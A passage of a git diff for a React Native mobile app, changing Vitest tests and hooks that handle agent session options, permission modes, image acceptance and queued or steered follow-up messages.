Promise(() => {}) + await harness.rerender({ fence: 2 }) + expect(descriptorFor(harness.current().optionSnapshot, 'effort')?.kind.currentValue).toBe( + display ?? undefined + ) + expect(harness.current().sendSelection()).toEqual({ selection: { model } }) await harness.unmount() } } diff --git a/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts b/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts index 92a9d90b45f..8b6f9d85db3 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts @@ -35,7 +35,7 @@ it('keeps actual phone operations and correlated acceptance through a stable-cli const stale = deferred() let oldReads = 0 const physical = optionsClient(() => - ++oldReads === 1 ? Promise.resolve(OPTIONS) : stale.promise + ++oldReads === 1 ? Promise.resolve({ ...OPTIONS, acceptsImages: true }) : stale.promise ) const currentReads: ReturnType>[] = [] const next = optionsClient(() => { @@ -77,8 +77,11 @@ it('keeps actual phone operations and correlated acceptance through a stable-cli await client.migrateTo(next.client, 'relay') }) await settle() - await act(async () => stale.resolve({ ...OPTIONS, conversationCommands: ['compact'] })) + await act(async () => + stale.resolve({ ...OPTIONS, acceptsImages: false, conversationCommands: ['compact'] }) + ) expect(view.current().conversationCommands).toEqual([]) + expect(view.current().acceptsImages).toBe(true) expect(currentValueOf(view.current().optionSnapshot, 'model')).toBe('gpt-fast') expect(view.current().sendSelection()).toMatchObject({ selection: { model: 'gpt-fast' } }) await act(async () => @@ -217,6 +220,33 @@ it('reads the new physical path after an idle connected-to-connected migration w client.close() }) +it('coalesces a burst of turns into one running and one trailing options read', async () => { + const reads: ReturnType>[] = [] + const rpc = optionsClient(() => { + const read = deferred() + reads.push(read) + return read.promise + }) + const { mutate } = recordingMutate(async () => ({ status: 'unknown' })) + const view = await mountOptions({ ...BASE, client: rpc.client, mutate }) + expect(reads).toHaveLength(1) + await act(async () => reads[0].resolve(OPTIONS)) + await settle() + for (let turn = 1; turn <= 10; turn++) { + await view.rerender({ turnId: `turn-${turn}` }) + } + expect(reads).toHaveLength(2) + await act(async () => reads[1].resolve({ ...OPTIONS, conversationCommands: ['clear'] })) + await settle() + expect(view.current().conversationCommands).toEqual([]) + expect(reads).toHaveLength(3) + await act(async () => reads[2].resolve({ ...OPTIONS, conversationCommands: ['compact'] })) + await settle() + expect(reads).toHaveLength(3) + expect(view.current().conversationCommands).toEqual(['compact']) + await view.unmount() +}) + it.each(['current', 'failed-then-wake', 'true-end'] as const)( 'settles a late refusal after a physical reset without losing progress (%s)', async (schedule) => { diff --git a/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts b/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts index af475729f33..1eb994938a1 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts @@ -1,3 +1,8 @@ +import * as selectionOperations from '../../../src/shared/structured-agent-session-selection-operations' +import { + rememberMobileCreatedStructuredSession, + mobileCreatedStructuredSession +} from './mobile-created-structured-sessions' import { createElement } from 'react' import { act, create, type ReactTestRenderer } from 'react-test-renderer' import { describe, expect, it, vi } from 'vitest' @@ -97,6 +102,7 @@ async function mountOptions(props: ProbeProps) { await settle() return { pending: () => rendered.current?.pendingOptionId, + images: () => rendered.current?.acceptsImages, offered: () => { const entry = rendered.current?.optionSnapshot.find( (descriptor) => descriptor.id === 'permissionMode' @@ -131,19 +137,52 @@ async function mountOptions(props: ProbeProps) { // STA-10671: a 1.4.224 host ignores per-chat modes and runs its own Agent Permissions. describe('the permission pill against a host predating per-chat modes', () => { - it("says the chat runs the host's Agent Permissions, and offers nothing to pick", async () => { + it('publishes legacyHostPermissions only after a current options answer', async () => { + const factory = vi.spyOn(selectionOperations, 'createStructuredSessionSelectionController') + const old = Promise.withResolvers() + const current = Promise.withResolvers() + const rpc = optionsClient(undefined) + const send = rpc.client.sendRequest + let reads = 0 + rpc.client.sendRequest = async (method, params, config) => + method === 'agentSession.options' + ? { + id: 'held', + ok: true, + result: await (++reads === 1 ? old.promise : current.promise), + _meta: { runtimeId: 'runtime-1' } + } + : send(method, params, config) + rememberMobileCreatedStructuredSession('session-1', '/workspace') const options = await mountOptions({ - client: optionsClient(undefined).client, + client: rpc.client, fence: 1, - optionStamp: 'gpt-live|', + optionStamp: '', hostAdvertisesPermissionModes: false }) + const constructed = factory.mock.results.at(-1) + if (constructed?.type !== 'return') { + throw new Error('Phone selection owner was not created') + } + const controller = constructed.value + await act(async () => { + const pick = controller.issue('model', 'gpt-live', null) + controller.settle(pick, { kind: 'unknown' }) + }) + await act(async () => old.resolve({ ...optionsFor(), acceptsImages: false })) + expect(options.permission()).toBeNull() + expect(options.images()).toBe(true) + expect(mobileCreatedStructuredSession('session-1')).toEqual({ worktree: '/workspace' }) + await act(async () => current.resolve({ ...optionsFor(), acceptsImages: false })) expect(options.permission()).toBe('host') expect(options.offered()).toEqual(['host']) + expect(options.images()).toBe(false) + expect(mobileCreatedStructuredSession('session-1')).toBeUndefined() vi.mocked(mutate).mockClear() expect(await options.pick('own', true)).toBe(false) expect(mutate).not.toHaveBeenCalled() await options.unmount() + factory.mockRestore() }) // 1.4.225–1.4.226 apply modes without advertising the capability: their stated mode wins. diff --git a/mobile/src/session/use-mobile-structured-agent-options.test.ts b/mobile/src/session/use-mobile-structured-agent-options.test.ts index fa91f616d1d..61e781677c4 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.test.ts @@ -34,6 +34,35 @@ beforeAll(async () => { }) describe('useMobileStructuredAgentOptions fast mode', () => { + it('unlocks after the latest key settles and never restores an earlier pending key', async () => { + const client = optionsClient(queuedReads(FAST_OPTIONS)) + const earlier = deferred>() + const latest = deferred>() + const { mutate } = recordingMutate(async (index) => + index === 0 ? earlier.promise : latest.promise + ) + const harness = await mountOptions({ ...BASE, client: client.client, mutate }) + let first!: Promise + let second!: Promise + await act(async () => { + first = harness.current().setStructuredOption('effort', 'high') + second = harness.current().setStructuredOption('fastMode', true) + }) + expect(harness.current().pendingOptionId).toBe('fastMode') + await act(async () => { + latest.resolve(accepted({ key: 'fastMode', value: 'true' }, true)) + await second + }) + expect(harness.current().pendingOptionId).toBeNull() + await act(async () => { + expect(await harness.current().setStructuredOption('effort', 'medium')).toBe(false) + earlier.resolve(accepted({ key: 'effort', value: 'high' }, true)) + await first + }) + expect(harness.current().pendingOptionId).toBeNull() + await harness.unmount() + }) + it('round-trips a boolean fastMode pick as the wire string and remembers the decoded pick', async () => { const client = optionsClient(queuedReads(FAST_OPTIONS, FAST_OPTIONS_ON)) const { calls, mutate } = recordingMutate(async () => diff --git a/mobile/src/session/use-mobile-structured-agent-options.ts b/mobile/src/session/use-mobile-structured-agent-options.ts index 0828c03de0f..81468440f8e 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.ts @@ -4,29 +4,24 @@ import { useCallback, useLayoutEffect, useMemo, useRef } from 'react' import { isAgentSessionHandleProvider } from '../../../src/shared/agent-session-provider-handle' import { structuredAgentSessionSeedCatalog } from '../../../src/shared/structured-agent-session-seed-catalog' import type { AgentSessionOptionResult } from '../../../src/shared/agent-session-wire' -import type { SessionOptionValue } from '../../../src/shared/native-chat/input/native-chat-session-options' -import { - canSetStructuredAgentSessionOption, - lockedStructuredAgentSessionOptionSnapshot, - structuredAgentSessionOptionPicks -} from '../../../src/shared/structured-agent-session-options' +import { lockedStructuredAgentSessionOptionSnapshot } from '../../../src/shared/structured-agent-session-options' import { structuredAgentSessionOptionView, structuredAgentSessionSendSelection, structuredAgentSessionMessageSelection, structuredAgentSessionShownSnapshot } from '../../../src/shared/structured-agent-session-option-view' -import { - AGENT_CHAT_PERMISSION_MODE_OPTION_ID, - agentChatPermissionModes -} from '../../../src/shared/agent-chat-permission-mode' +import { agentChatPermissionModes } from '../../../src/shared/agent-chat-permission-mode' import { legacyHostPermissionDescriptor } from '../../../src/shared/structured-agent-session-permission-option' import type { RpcClient } from '../transport/rpc-client' import type { StructuredAgentSessionHostSupport } from './mobile-structured-agent-session-host-support' import type { StructuredAgentSessionMutate } from './mobile-structured-agent-session-rpc' import { useMobileHostModelCatalogUpgrade } from './use-mobile-host-model-catalog-upgrade' import { mobileCreatedStructuredSession } from './mobile-created-structured-sessions' -import { encodeStructuredAgentSessionOptionValue } from '../../../src/shared/structured-agent-session-option-codec' +import { + acceptedStructuredSessionSelectionOutcome, + createStructuredAgentSessionOptionsWriteOwner +} from '../../../src/shared/structured-agent-session-options-write-owner' import { useMobileStructuredOptionSurface } from './use-mobile-structured-option-surface' const NO_COMMANDS: readonly AgentSessionConversationCommand[] = [] @@ -139,103 +134,52 @@ export function useMobileStructuredAgentOptions(args: { ? [...shown, legacyHostPermissionDescriptor()] : shown - const setStructuredOption = useCallback( - async (id: string, value: SessionOptionValue): Promise => { - const currentState = projectPermission({ - ...optionStateRef.current, - permissionOwnSupported: hostSupport ? hostSupport.permissionOwn === true : null - }) - const view = structuredAgentSessionOptionView(currentState, undefined, controller.overlay()) - const pickState = { - ...view, - pendingId: - providerStarting || - id === AGENT_CHAT_PERMISSION_MODE_OPTION_ID || - !controller.isPending(id) - ? null - : id - } - const encoded = encodeStructuredAgentSessionOptionValue(id, value) - if ( - (id === AGENT_CHAT_PERMISSION_MODE_OPTION_ID && - value === 'own' && - !hostSupport?.permissionOwn) || - !isCurrentContext() || - awaitingOptions || - !client || - !sessionId || - !optionCatalog || - encoded === null || - !canSetStructuredAgentSessionOption( - pickState, - id, - value, - lockSnapshotRef.current( - structuredAgentSessionShownSnapshot( - structuredAgentSessionOptionView(currentState, undefined, controller.overlay()) - ) - ), - interactionReadyRef.current - ) - ) { - return false - } - const targetRecord = currentState.record - const model = structuredAgentSessionOptionPicks(view, { [id]: encoded })[0]?.modelId ?? null - const operation = controller.issue(id, encoded, model) - updateOptionState((current) => ({ - ...current, - pendingId: providerStarting || id === AGENT_CHAT_PERMISSION_MODE_OPTION_ID ? null : id - })) - void controller.flush(async (pick) => { - // A queued pick never retargets a replacement runtime. - if (activeOptionRecordRef.current !== targetRecord) { - return { kind: 'superseded' } - } - const result = await mutate( - 'agentSession.setOption', - 'agentSession.setOption', - { - key: pick.key, - value: pick.value - } - ) - return result.status === 'accepted' - ? { kind: 'accepted', options: result.value.options ?? { [pick.key]: pick.value } } - : result.status === 'unknown' - ? { kind: 'unknown' } - : { kind: 'refused' } - }) - const outcome = await operation.result - if (activeOptionRecordRef.current === targetRecord) { - updateOptionState((current) => ({ - ...current, - pendingId: - current.pendingId !== null && controller.isPending(current.pendingId) - ? current.pendingId - : null - })) - if (outcome.kind === 'refused') { - reread() - } - } - return outcome.kind !== 'refused' - }, - [ - hostSupport?.permissionOwn, - projectPermission, - providerStarting, - client, - awaitingOptions, + const readWriteContext = () => { + const currentState = projectPermission({ + ...optionStateRef.current, + permissionOwnSupported: hostSupport ? hostSupport.permissionOwn === true : null + }) + const view = structuredAgentSessionOptionView(currentState, undefined, controller.overlay()) + return { controller, - mutate, - optionCatalog, - reread, - sessionId, - updateOptionState, - isCurrentContext - ] + record: optionStateRef.current.record, + view, + snapshot: lockSnapshotRef.current(structuredAgentSessionShownSnapshot(view)), + ready: !awaitingOptions && !!client && !!sessionId && interactionReadyRef.current, + providerStarting, + isCurrentContext, + flush: (isCurrent: () => boolean) => { + controller.flush(async (pick) => { + // A queued pick never retargets a replacement runtime. + if (!isCurrent()) { + return { kind: 'superseded' } + } + const result = await mutate( + 'agentSession.setOption', + 'agentSession.setOption', + { key: pick.key, value: pick.value } + ) + return result.status === 'accepted' + ? acceptedStructuredSessionSelectionOutcome(pick, result.value.options) + : result.status === 'unknown' + ? { kind: 'unknown' } + : { kind: 'refused' } + }) + }, + revalidate: reread, + revalidateOn: 'refused-current' as const + } + } + const writeContextRef = useRef(readWriteContext) + useLayoutEffect(() => { + writeContextRef.current = readWriteContext + }) + const writer = useMemo( + () => createStructuredAgentSessionOptionsWriteOwner(() => writeContextRef.current()), + [] ) + useLayoutEffect(() => () => writer.detach(), [writer]) + const setStructuredOption = writer.setOption // Controls and capture derive from the same queried base and transient operations. const sendSelection = useCallback(() => { @@ -269,7 +213,7 @@ export function useMobileStructuredAgentOptions(args: { (agent !== null && isAgentSessionHandleProvider(agent)), optionSnapshot, optionSurface, - pendingOptionId: optionState.pendingId, + pendingOptionId: writer.pendingOptionId(controller, optionState.record), setStructuredOption, invokeStructuredOption, sendSelection diff --git a/mobile/src/session/use-mobile-structured-agent-session-background-tasks.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-background-tasks.test.tsx index 6407b0d1705..e7a5dbdd03a 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-background-tasks.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-background-tasks.test.tsx @@ -61,7 +61,9 @@ describe('mobile structured session background tasks', () => { const client: RpcClient = { sendRequest, subscribe: (_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }, updateTerminalSubscriptionViewport: () => {}, diff --git a/mobile/src/session/use-mobile-structured-agent-session-newer-approval-send.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-newer-approval-send.test.tsx index 90c6b52e426..0d7bf102318 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-newer-approval-send.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-newer-approval-send.test.tsx @@ -30,7 +30,9 @@ const sendRequest = vi.fn() const client: RpcClient = { sendRequest, subscribe: vi.fn((_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }), updateTerminalSubscriptionViewport: () => {}, @@ -82,7 +84,7 @@ async function sentDelivery(items: AgentJournalRenderItem[]): Promise { }) await vi.waitFor(() => expect(listener).toEqual(expect.any(Function))) const event = snapshotEvent({ items }) - act(() => listener?.(event)) + await act(async () => listener?.(event)) await act(async () => { await hook!.sendWithOutcome('carry on') }) @@ -98,7 +100,9 @@ beforeEach(() => { ? mutationOk({ clientMessageId: 'client-1' }) : method === 'agentSession.options' ? ok({ models: [], current: {} }) - : ok({}) + : method === 'settings.get' + ? ok({ settings: { nativeChatQueueFollowUps: true } }) + : ok({}) ) }) @@ -136,14 +140,16 @@ async function afterStop(items: AgentJournalRenderItem[]): Promise { ? new Promise(() => undefined) : method === 'agentSession.options' ? ok({ models: [], current: {} }) - : ok({}) + : method === 'settings.get' + ? ok({ settings: { nativeChatQueueFollowUps: true } }) + : ok({}) ) act(() => { renderer = create(createElement(Harness)) }) await vi.waitFor(() => expect(listener).toEqual(expect.any(Function))) const event = snapshotEvent({ items: [...items, RUNNING_TURN] }) - act(() => listener?.(event)) + await act(async () => listener?.(event)) act(() => hook?.cancel()) expect(hook?.turnIndicator.stopping).toBe(true) return hook?.turnIndicator.afterStop diff --git a/mobile/src/session/use-mobile-structured-agent-session-queued.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-queued.test.tsx index a7a5bad603c..38d890594e5 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-queued.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-queued.test.tsx @@ -43,6 +43,10 @@ const asyncStorage = vi.hoisted(() => ({ vi.mock('@react-native-async-storage/async-storage', () => ({ default: asyncStorage })) function normalReply(method: string): RpcResponse { + // Queue is the default; explicit OFF is covered below. + if (method === 'settings.get') { + return ok({ settings: { nativeChatQueueFollowUps: true } }) + } if (method === 'agentSession.options') { return ok({ models: [], current: {} }) } @@ -61,12 +65,18 @@ describe('mobile structured queued messages', () => { let renderer: ReactTestRenderer | null = null let hook: ReturnType | null = null let listener: ((value: unknown) => void) | null = null + let preferenceListener: ((value: unknown) => void) | null = null let stored: Map const onSendError = vi.fn() const appendText = vi.fn((_text: string) => true) const sendRequest = vi.fn() const subscribe = vi.fn((_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } + if (_method === 'runtime.clientEvents.subscribe') { + preferenceListener = onData + } return vi.fn() }) const client: RpcClient = { @@ -121,6 +131,7 @@ describe('mobile structured queued messages', () => { renderer = null hook = null listener = null + preferenceListener = null } function calls(method: string) { @@ -249,7 +260,7 @@ describe('mobile structured queued messages', () => { expect(asyncStorage.setItem).not.toHaveBeenCalled() }) - it("sends straight into the turn when the host's Queue follow-ups is off, as the desktop does", async () => { + it("sends straight into the turn when the host's setting is Steer, as the desktop does", async () => { sendRequest.mockImplementation(async (method) => { if (method === 'settings.get') { return ok({ settings: { nativeChatQueueFollowUps: false } }) @@ -273,6 +284,105 @@ describe('mobile structured queued messages', () => { expect('delivery' in requestOf('agentSession.send').params).toBe(false) }) + it.each(['steer', 'queue'] as const)( + 'pre-turn host Working honors default and explicit choice (%s)', + async (behavior) => { + sendRequest.mockImplementation(async (method) => { + if (method === 'settings.get') { + return ok({ settings: { nativeChatQueueFollowUps: behavior === 'queue' } }) + } + if (method === 'agentSession.send') { + return mutationOk({ + clientMessageId: 'client-1', + submission: acceptedSubmission('client-1') + }) + } + return normalReply(method) + }) + await mountSession(CAPABLE, { + ...snapshotEvent(), + page: { + ...snapshotEvent().page, + working: true, + latestTurn: null, + nextQueuedMessageId: null + } + }) + await act(async () => {}) + expect(hook!.isWorking).toBe(true) + expect(hook!.sendFollowUp).toEqual({ action: behavior, offersChoice: true }) + for (const alternate of [false, true]) { + await act(async () => { + await hook!.sendWithOutcome( + 'pre-turn', + undefined, + undefined, + undefined, + [], + alternate ? { alternate: true } : undefined + ) + }) + expect(requestOf('agentSession.send', alternate ? 1 : 0).params.delivery).toBe( + (behavior === 'queue') !== alternate ? 'queue-if-active' : undefined + ) + } + // A sheet opened during work sends against the current idle state. + await act(async () => + listener?.({ + ...snapshotEvent(), + page: { + ...snapshotEvent().page, + working: false, + latestTurn: null, + nextQueuedMessageId: null + } + }) + ) + await act(async () => { + await hook!.sendWithOutcome('now idle', undefined, undefined, undefined, [], { + alternate: true + }) + }) + expect(requestOf('agentSession.send', 2).params.delivery).toBe( + behavior === 'queue' ? 'queue-if-active' : undefined + ) + } + ) + + it('sends using a changed host preference in the same connected chat', async () => { + sendRequest.mockImplementation(async (method) => + method === 'agentSession.send' + ? mutationOk({ clientMessageId: 'client-1', submission: acceptedSubmission('client-1') }) + : normalReply(method) + ) + await mountSession(CAPABLE, { + ...snapshotEvent(), + page: { + ...snapshotEvent().page, + working: true, + latestTurn: null, + nextQueuedMessageId: null + } + }) + expect(hook!.sendFollowUp).toEqual({ action: 'queue', offersChoice: true }) + await act(async () => { + await hook!.sendWithOutcome('queue by default') + }) + expect(requestOf('agentSession.send').params.delivery).toBe('queue-if-active') + await act(async () => + preferenceListener?.({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + expect(hook!.sendFollowUp).toEqual({ action: 'steer', offersChoice: true }) + await act(async () => { + await hook!.sendWithOutcome('now steer') + }) + expect(requestOf('agentSession.send', 1).params.delivery).toBeUndefined() + expect( + subscribe.mock.calls.filter(([method]) => method === 'agentSession.subscribe') + ).toHaveLength(1) + expect(calls('settings.get')).toHaveLength(1) + }) + it('keeps today’s request exactly against an incapable host', async () => { sendRequest.mockImplementation(async (method) => { if (method === 'agentSession.send') { diff --git a/mobile/src/session/use-mobile-structured-agent-session-read-failure.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-read-failure.test.tsx index b7e53dfd588..e81bd5fb790 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-read-failure.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-read-failure.test.tsx @@ -22,7 +22,9 @@ const sendRequest = vi.fn() const client: RpcClient = { sendRequest, subscribe: vi.fn((_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }), updateTerminalSubscriptionViewport: () => {}, diff --git a/mobile/src/session/use-mobile-structured-agent-session-retry-rows.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-retry-rows.test.tsx index 892aed434d6..fcae4a54547 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-retry-rows.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-retry-rows.test.tsx @@ -57,7 +57,9 @@ it('draws one row for a run of provider retries, with what failed on its second _meta: { runtimeId: 'runtime-1' } }), subscribe: (_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return () => {} }, updateTerminalSubscriptionViewport: () => {}, diff --git a/mobile/src/session/use-mobile-structured-agent-session-send.test.tsx b/mobile/src/session/use-mobile-structured-agent-session-send.test.tsx index a80642c23db..a2001f9113b 100644 --- a/mobile/src/session/use-mobile-structured-agent-session-send.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session-send.test.tsx @@ -74,7 +74,9 @@ describe('mobile structured send actions', () => { const onSendError = vi.fn() const sendRequest = vi.fn() const subscribe = vi.fn((_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }) const client: RpcClient = { diff --git a/mobile/src/session/use-mobile-structured-agent-session.cut-turn-notice.test.tsx b/mobile/src/session/use-mobile-structured-agent-session.cut-turn-notice.test.tsx index fe2dc61a6a0..380295ac1ae 100644 --- a/mobile/src/session/use-mobile-structured-agent-session.cut-turn-notice.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session.cut-turn-notice.test.tsx @@ -71,7 +71,9 @@ describe('useMobileStructuredAgentSession transcript', () => { _meta: { runtimeId: 'runtime-1' } })), subscribe: vi.fn((_method: string, _params: unknown, onData: (value: unknown) => void) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return () => {} }) } diff --git a/mobile/src/session/use-mobile-structured-agent-session.test.tsx b/mobile/src/session/use-mobile-structured-agent-session.test.tsx index d69a78ed2df..ffac946981d 100644 --- a/mobile/src/session/use-mobile-structured-agent-session.test.tsx +++ b/mobile/src/session/use-mobile-structured-agent-session.test.tsx @@ -195,10 +195,14 @@ describe('useMobileStructuredAgentSession', () => { let listener: ((value: unknown) => void) | null = null const onSendError = vi.fn() const unsubscribe = vi.fn() + const unsubscribePreference = vi.fn() const sendRequest = vi.fn(defaultSendRequest) const subscribe = vi.fn((_method: string, _params: unknown, onData: (value: unknown) => void) => { - listener = onData - return unsubscribe + if (_method === 'agentSession.subscribe') { + listener = onData + return unsubscribe + } + return unsubscribePreference }) const client: RpcClient = { sendRequest, @@ -337,13 +341,17 @@ describe('useMobileStructuredAgentSession', () => { sendRequest.mock.calls.filter(([method]) => method === 'agentSession.hold') ).toHaveLength(1) ) - await vi.waitFor(() => expect(subscribe).toHaveBeenCalledTimes(1)) + await vi.waitFor(() => + expect( + subscribe.mock.calls.filter(([method]) => method === 'agentSession.subscribe') + ).toHaveLength(1) + ) // Reconnect must acquire the connection-scoped hold before replaying the stream. await act(async () => { renderer?.update(createElement(Harness, { connected: false })) }) - expect(unsubscribe).toHaveBeenCalledTimes(1) + expect([unsubscribe.mock.calls.length, unsubscribePreference.mock.calls.length]).toEqual([1, 1]) await act(async () => { renderer?.update(createElement(Harness, { connected: true })) }) @@ -353,19 +361,28 @@ describe('useMobileStructuredAgentSession', () => { sendRequest.mock.calls.filter(([method]) => method === 'agentSession.hold') ).toHaveLength(2) ) - await vi.waitFor(() => expect(subscribe).toHaveBeenCalledTimes(2)) + await vi.waitFor(() => + expect( + subscribe.mock.calls.filter(([method]) => method === 'agentSession.subscribe') + ).toHaveLength(2) + ) const holdOrders = sendRequest.mock.calls .map((call, index) => call[0] === 'agentSession.hold' ? sendRequest.mock.invocationCallOrder[index] : null ) .filter((order): order is number => order !== null) - const subscribeOrders = subscribe.mock.invocationCallOrder + const subscribeOrders = subscribe.mock.calls.flatMap(([method], index) => + method === 'agentSession.subscribe' ? [subscribe.mock.invocationCallOrder[index]] : [] + ) const secondHoldOrder = holdOrders[1] const secondSubscribeOrder = subscribeOrders[1] if (secondHoldOrder === undefined || secondSubscribeOrder === undefined) { throw new Error('reconnect calls were not recorded') } expect(secondHoldOrder).toBeLessThan(secondSubscribeOrder) + await act(async () => renderer?.unmount()) + renderer = null + expect([unsubscribe.mock.calls.length, unsubscribePreference.mock.calls.length]).toEqual([2, 2]) }) it('sends with the shared structured mutation envelope after the stream fence lands', async () => { diff --git a/mobile/src/session/use-mobile-structured-agent-session.ts b/mobile/src/session/use-mobile-structured-agent-session.ts index ba86e0a6a91..c3e58b25dd6 100644 --- a/mobile/src/session/use-mobile-structured-agent-session.ts +++ b/mobile/src/session/use-mobile-structured-agent-session.ts @@ -9,11 +9,10 @@ import { import { withNativeChatCutTurnNotices } from '../../../src/shared/native-chat/transcript/native-chat-cut-turn-notice' import { agentSessionTranscriptRows } from '../../../src/shared/agent-session-context-clear' import { tuiAgentDisplayName } from '../../../src/shared/tui-agent-display-names' -import { isStructuredAgentSessionMainAgentWorking } from '../../../src/shared/structured-agent-session-main-agent-working' +import { mobileStructuredAgentSessionWorking } from './mobile-structured-agent-session-working' import { isFinalAgentSessionReadRefusal } from '../../../src/shared/structured-agent-session-read-refusal' import { runningStructuredAgentSessionTurnId, - structuredAgentSessionHostSaysWorking, structuredAgentSessionQueueSendsNext } from '../../../src/shared/structured-agent-session-live-turn' import { @@ -152,9 +151,7 @@ export function useMobileStructuredAgentSession( { ...state, items: transcriptItems }, turnId ) - const isWorking = structuredAgentSessionHostSaysWorking(state.working, () => - isStructuredAgentSessionMainAgentWorking(turnId, state.submissions, state.fence) - ) + const isWorking = mobileStructuredAgentSessionWorking(state) const queueSendsNext = structuredAgentSessionQueueSendsNext(state.nextQueuedMessageId, isWorking) const backgroundTasks = useMobileStructuredBackgroundTasks({ sessionKey, @@ -183,7 +180,8 @@ export function useMobileStructuredAgentSession( hostStopping, stopPressed: stopPress.pressed, queueCapable, - queueFollowUps + queueFollowUps, + queueSendsNext }) const { stopping } = turnIndicator const sendWithOutcome = useMobileStructuredSendWithOutcome({ @@ -289,6 +287,7 @@ export function useMobileStructuredAgentSession( }, isWorking: isWorking || queueSendsNext, canStop, + sendFollowUp: turnIndicator.sendFollowUp ?? null, turnId, turnIndicator, ...turnTiming, diff --git a/mobile/src/session/use-mobile-structured-native-chat-send-bridge.ts b/mobile/src/session/use-mobile-structured-native-chat-send-bridge.ts index e4ed7a92127..b9764d89035 100644 --- a/mobile/src/session/use-mobile-structured-native-chat-send-bridge.ts +++ b/mobile/src/session/use-mobile-structured-native-chat-send-bridge.ts @@ -2,7 +2,10 @@ import { useCallback } from 'react' import type { StructuredAgentId } from '../../../src/shared/agent-session-provider-handle' import type { AgentSessionSlashCommand } from '../../../src/shared/agent-session-wire' import { isStructuredAgentSessionComposerCommand } from '../../../src/shared/structured-agent-session-composer' -import type { MobileNativeChatSendOutcome } from './native-chat/mobile-native-chat-send' +import type { + MobileNativeChatSendIntent, + MobileNativeChatSendOutcome +} from './native-chat/mobile-native-chat-send' import type { MobileNativeChatSendOrigin } from './native-chat/mobile-native-chat-pending-echo' import type { StructuredMobileSendAttachment } from './use-mobile-structured-send-with-outcome' import type { AgentJournalSkillRef } from '../../../src/shared/agent-session-journal-types' @@ -19,7 +22,8 @@ export function useMobileStructuredNativeChatSendBridge(args: { images?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - skills?: readonly AgentJournalSkillRef[] + skills?: readonly AgentJournalSkillRef[], + intent?: MobileNativeChatSendIntent ) => Promise captureSendOrigin: (text: string) => MobileNativeChatSendOrigin | null clearDraftForSend: (origin: MobileNativeChatSendOrigin, text: string) => void @@ -31,7 +35,9 @@ export function useMobileStructuredNativeChatSendBridge(args: { text: string, images?: string[], deadline?: number, - attachments?: readonly StructuredMobileSendAttachment[] + attachments?: readonly StructuredMobileSendAttachment[], + sentAt?: number, + intent?: MobileNativeChatSendIntent ) => Promise } { const { @@ -48,7 +54,9 @@ export function useMobileStructuredNativeChatSendBridge(args: { text: string, images?: string[], deadline?: number, - attachments?: readonly StructuredMobileSendAttachment[] + attachments?: readonly StructuredMobileSendAttachment[], + _sentAt?: number, + intent?: MobileNativeChatSendIntent ): Promise => { const origin = captureSendOrigin(text.trimEnd()) if (!origin) { @@ -58,7 +66,9 @@ export function useMobileStructuredNativeChatSendBridge(args: { const isHostCommand = isStructuredAgentSessionComposerCommand(text, agent, sessionCommands) const skills = readMobileNativeChatPickedSkills(origin.draftKey) clearDraftForSend(origin, text) - const outcome = await sendStructured(text, images, deadline, attachments, skills) + const outcome = await (intent + ? sendStructured(text, images, deadline, attachments, skills, intent) + : sendStructured(text, images, deadline, attachments, skills)) // Accepted messages remain host-owned; restore commands whose reply was lost. if (outcome === 'rejected' || (outcome === 'unknown' && isHostCommand)) { restoreRejectedDraft(origin, text) diff --git a/mobile/src/session/use-mobile-structured-option-state.ts b/mobile/src/session/use-mobile-structured-option-state.ts index 348750c5792..c3a26865ac0 100644 --- a/mobile/src/session/use-mobile-structured-option-state.ts +++ b/mobile/src/session/use-mobile-structured-option-state.ts @@ -1,26 +1,15 @@ -import { useCallback, useEffect, useRef, useState, useSyncExternalStore } from 'react' +import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react' import { mobileStructuredSessionStatusFeed } from './mobile-structured-session-status-feed' import { projectRuntimePermission } from '../../../src/shared/structured-agent-session-permission-option' -import type { AgentSessionConversationCommand } from '../../../src/shared/agent-session/agent-session-conversation-command' import { useMobileStructuredSelectionController } from './use-mobile-structured-selection-controller' -import type { - AgentSessionOptionsResult, - AgentSessionModelCatalogResult -} from '../../../src/shared/agent-session-wire' +import type { AgentSessionOptionsResult } from '../../../src/shared/agent-session-wire' import { callAgentSession } from 